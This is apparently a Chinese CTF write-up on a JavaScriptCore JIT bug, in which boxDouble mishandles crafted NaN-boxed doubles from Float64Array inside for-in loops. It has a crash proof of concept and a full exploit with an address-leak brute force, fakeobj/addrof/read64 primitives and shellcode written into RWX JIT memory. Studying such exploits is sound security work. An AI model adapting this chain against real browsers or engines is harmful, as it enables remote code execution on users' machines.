头疼……背疼……失眠……好好好
Safari, Hold Still for NaN Minutes!
疯狂describe忘记看diff,他tmd注释掉了啊!!!
NaN-boxing
对象编码
- 指针、布尔值等:高16位为0
 
- 双精度浮点数:高16位2~fffc,通过所有double加1<<49编码
 
- 32位整数:高16位fffe
 
BUG
漏洞源于DFG JIT和FTL JIT优化和编译从浮点数组获取元素的方式
snippet1
1 2
   | let float_array = new Float64Array(10) ; let value = float_array[0];
 
  | 
 
DFG编译第二行 从浮点数组中取元素 的语句时会调用以下函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   | void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix) { 	     switch (elementSize(type)) {     case 4:         loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg);         convertFloatToDouble(resultReg, resultReg);         break;     case 8: {                  loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg);         break;     }     default:         RELEASE_ASSERT_NOT_REACHED();     }     	     if (format == DataFormatJS) {                           boxDouble(resultReg, resultRegs);         jsValueResult(resultRegs, node);     } else {         ASSERT(format == DataFormatDouble);         doubleResult(resultReg, node);     } }
 
  | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | void boxDouble(FPRReg fpr, JSValueRegs regs) {     boxDouble(fpr, regs.tagGPR(), regs.payloadGPR()); }
  GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters) {          moveDoubleTo64(fpr, gpr);          if (mode == DoNotHaveTagRegisters)         sub64(TrustedImm64(JSValue::NumberTag), gpr);     else {         sub64(GPRInfo::numberTagRegister, gpr);         jitAssertIsJSDouble(gpr);     }     return gpr; }
 
  | 
 
假设控制double为形如0xfffe000012345678,编码后为0x0000000012345678会被当做指针解析
boxDouble假定参数为合法double或NaN即0x7ff8000000000000,题目中patch掉的purifyNaN就是检查这个
snippet2
1 2 3 4 5 6
   | obj = {x:1, y:1} function forin(arg) {     for (let i in obj) {         let out = arg[i];     } }
 
  | 
 
- 枚举obj中所有属性名称
 
- 从arg中取出对应属性名称的值
 
执行arg[i]时会进入以下过程编译 获取对象的属性值 操作:
1 2 3 4 5 6 7 8
   |  void SpeculativeJIT::compile(Node* node)       	case EnumeratorGetByVal: {         compileEnumeratorGetByVal(node);         break;     } 	 }
 
  | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | void SpeculativeJIT::compileEnumeratorGetByVal(Node* node) {     Edge baseEdge = m_graph.varArgChild(node, 0);     auto generate = [&] (JSValueRegs baseRegs) { 		          		         compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) { 		                                    return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };         }));          		     };
 
  | 
 
- 该函数调用一个generate闭包函数,generate中又调用compileGetByVal函数
 
- compileGetByVal的最后一个参数也是一个闭包,这个闭包最后返回一个元组
- 第一个值是存储取出的值的寄存器
 
- 第二个值是储存格式,始终是DataFormatJS
 
 
compileGetByVal处理各种类型的数组对象
1 2 3 4 5 6 7 8 9 10 11 12
   | void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix) {     switch (node->arrayMode().type()) {          case Array::Float64Array: {         TypedArrayType type = node->arrayMode().typedArrayType();         if (isInt(type))             compileGetByValOnIntTypedArray(node, type, prefix);         else             compileGetByValOnFloatTypedArray(node, type, prefix);     } } }
 
  | 
 
如果snippet中的arg是double数组,会进行到Float64Array过程,调用snippet1中提到的有问题的函数
snippet3
我们可以通过使用同一内存区域的另一视图改变Float64Array的值为不合法的double
1 2 3 4 5
   | let abuf       = new ArrayBuffer(0x10); let bigint_buf = new BigUint64Array(abuf); let float_buf  = new Float64Array(abuf);
  bigint_buf[0] = 0xfffe_0000_0000_0000;
 
  | 
 
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
   | let abuf = new ArrayBuffer(0x10); let bbuf = new BigUint64Array(abuf); let fbuf = new Float64Array(abuf);
  obj = {x:1234, y:1234};
 
  function trigger(arg, a2) {     for (let i in obj) {         obj = [1];         let out = arg[i];         a2.x = out;     } }
  function main() {
      t = {x: {}};     trigger(obj, t);
 
      for (let i = 0 ; i < 0x10000; i++) {       trigger(fbuf,t);     }
 
      bbuf[0] = 0xfffe0000_12345678n;     trigger(fbuf, t);
 
      t.x; }
  main()
 
  | 
 
- trigger重复上述snippet1和snippet2使用for in和取属性的操作
 
- 重复执行trigger使之被JIT优化编译
 
- 使bbuf[0]不合法,此时trigger将0xfffe0000_12345678n赋给了a2.x
 
- 调用t.x,0x12345678被当成指针解析,段错误
 
Leak
EXP
JSC对象的内存分布:
- JSCell:类似v8的map,表示属性的布局
 
- butterfly:储存属性,无编码存储
 
- 内联属性,可存0x10字节的内联属性,编码存储
 
流程:
官方exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
   |  let fake1 = {c:1.1, d:2.2}; let fake2 = {c:1.1, d:{}};
 
 
  fake2[0] = 1.1; fake2[1] = 1.1; fake2[2] = 1.1; fake2[3] = 1.1; let abuf = new ArrayBuffer(0x10); let bbuf = new BigUint64Array(abuf); let fbuf = new Float64Array(abuf); let ffbuf = new Float64Array(abuf); bbuf[0] = 0x01001800000099f0n-0x0002000000000000n; fake1.c = ffbuf[0]; bbuf[0] = 0x0100180600009a60n; fake2[0] = ffbuf[0];
  obj = {x:1234, y:1234}; function print(a) {} function bftrigger(arg, a2) {     for (let i in obj) {         obj = [1];         let out = arg[i];         if (out === a2.x) {             return true;         } else {             return false;         }         } } obj2 = {x:1234, y:1234}; function trigger(arg, a2) {     for (let i in obj2) {         obj2 = [1];         let out = arg[i];         a2.x = out;     } } let t2 = {x: {}}; trigger(obj, t2); bbuf[0] = 0x00000000_00000000n; for(let i = 0; i < 0x800; i++) {     trigger(fbuf, t2); } let t = {x: {}}; bftrigger(obj, t); for(let i = 0; i < 0x800; i++) {     bftrigger(fbuf, t); } function leak(object_to_leak) {     let addr = 0x7f00_0000_0000n;     let to_leak = {x: object_to_leak};     for (let i=0n; i<0xff_ffff_ffffn; i+=0x1000000n) {         let current_addr = addr + i + 0x4f8140n;         if ((i&0xfffffffffn) == 0) {             print(current_addr.toString(16))         }         bbuf[0] = 0xfffe0000_00000000n+current_addr;         let result = bftrigger(fbuf, to_leak);         if (result) {             print('Found the address at: 0x'+ current_addr.toString(16));             return current_addr;         }     }         return 0; } function exp() {          let fake1_addr = leak(fake1);     if (fake1_addr==0) {         return     }         fake1_addr = fake1_addr+0x10n;     bbuf[0] = 0xfffe0000_00000000n+fake1_addr;     trigger(fbuf, t2);                    let fake_obj = t2.x.d;                    let fake_bf = fake1_addr+0x8n;     bbuf[0] = fake_bf;     fake2[1] = ffbuf[0];     ffbuf[0] = fake_obj[2];     let butterfly_addr = bbuf[0];     print("Leak butterfly addr: 0x" + butterfly_addr.toString(16));          function addrof(obj) {         fake2.d = obj;         ffbuf[0] = fake_obj[4];         return bbuf[0];     }     function read64(addr) {         bbuf[0] = addr;         fake2[1] = ffbuf[0];         ffbuf[0] = fake_obj[0];         let res = bbuf[0];         bbuf[0] = fake_bf;	         fake2[1] = ffbuf[0];         return res;     }     let addr = addrof(bftrigger);     print(addr.toString(16));     addr = read64(addr+0x18n);     print(addr.toString(16));     addr = read64(addr+0x8n);     print(addr.toString(16));     let rwx = read64(addr+0x10n);     print("Leak RWX addr: 0x" + rwx.toString(16));     let shellcode = [-1.1406995792869598e-244, 7.237521960842062e-308, -1.1399357607410871e-244, 9.780209880692209e+26, -2.6607797970378774e-254, 1.7806249655998242e-22, 3.9690202623744235e+146, 7.34038447708115e+223, 3.3819935e-317, 0];     bbuf[0] = rwx+0xbn;     fake2[1] = ffbuf[0];     shellcode.forEach((sc, i) => {         fake_obj[i] = sc;     });     bftrigger(); } exp(); while(1){}
 
  |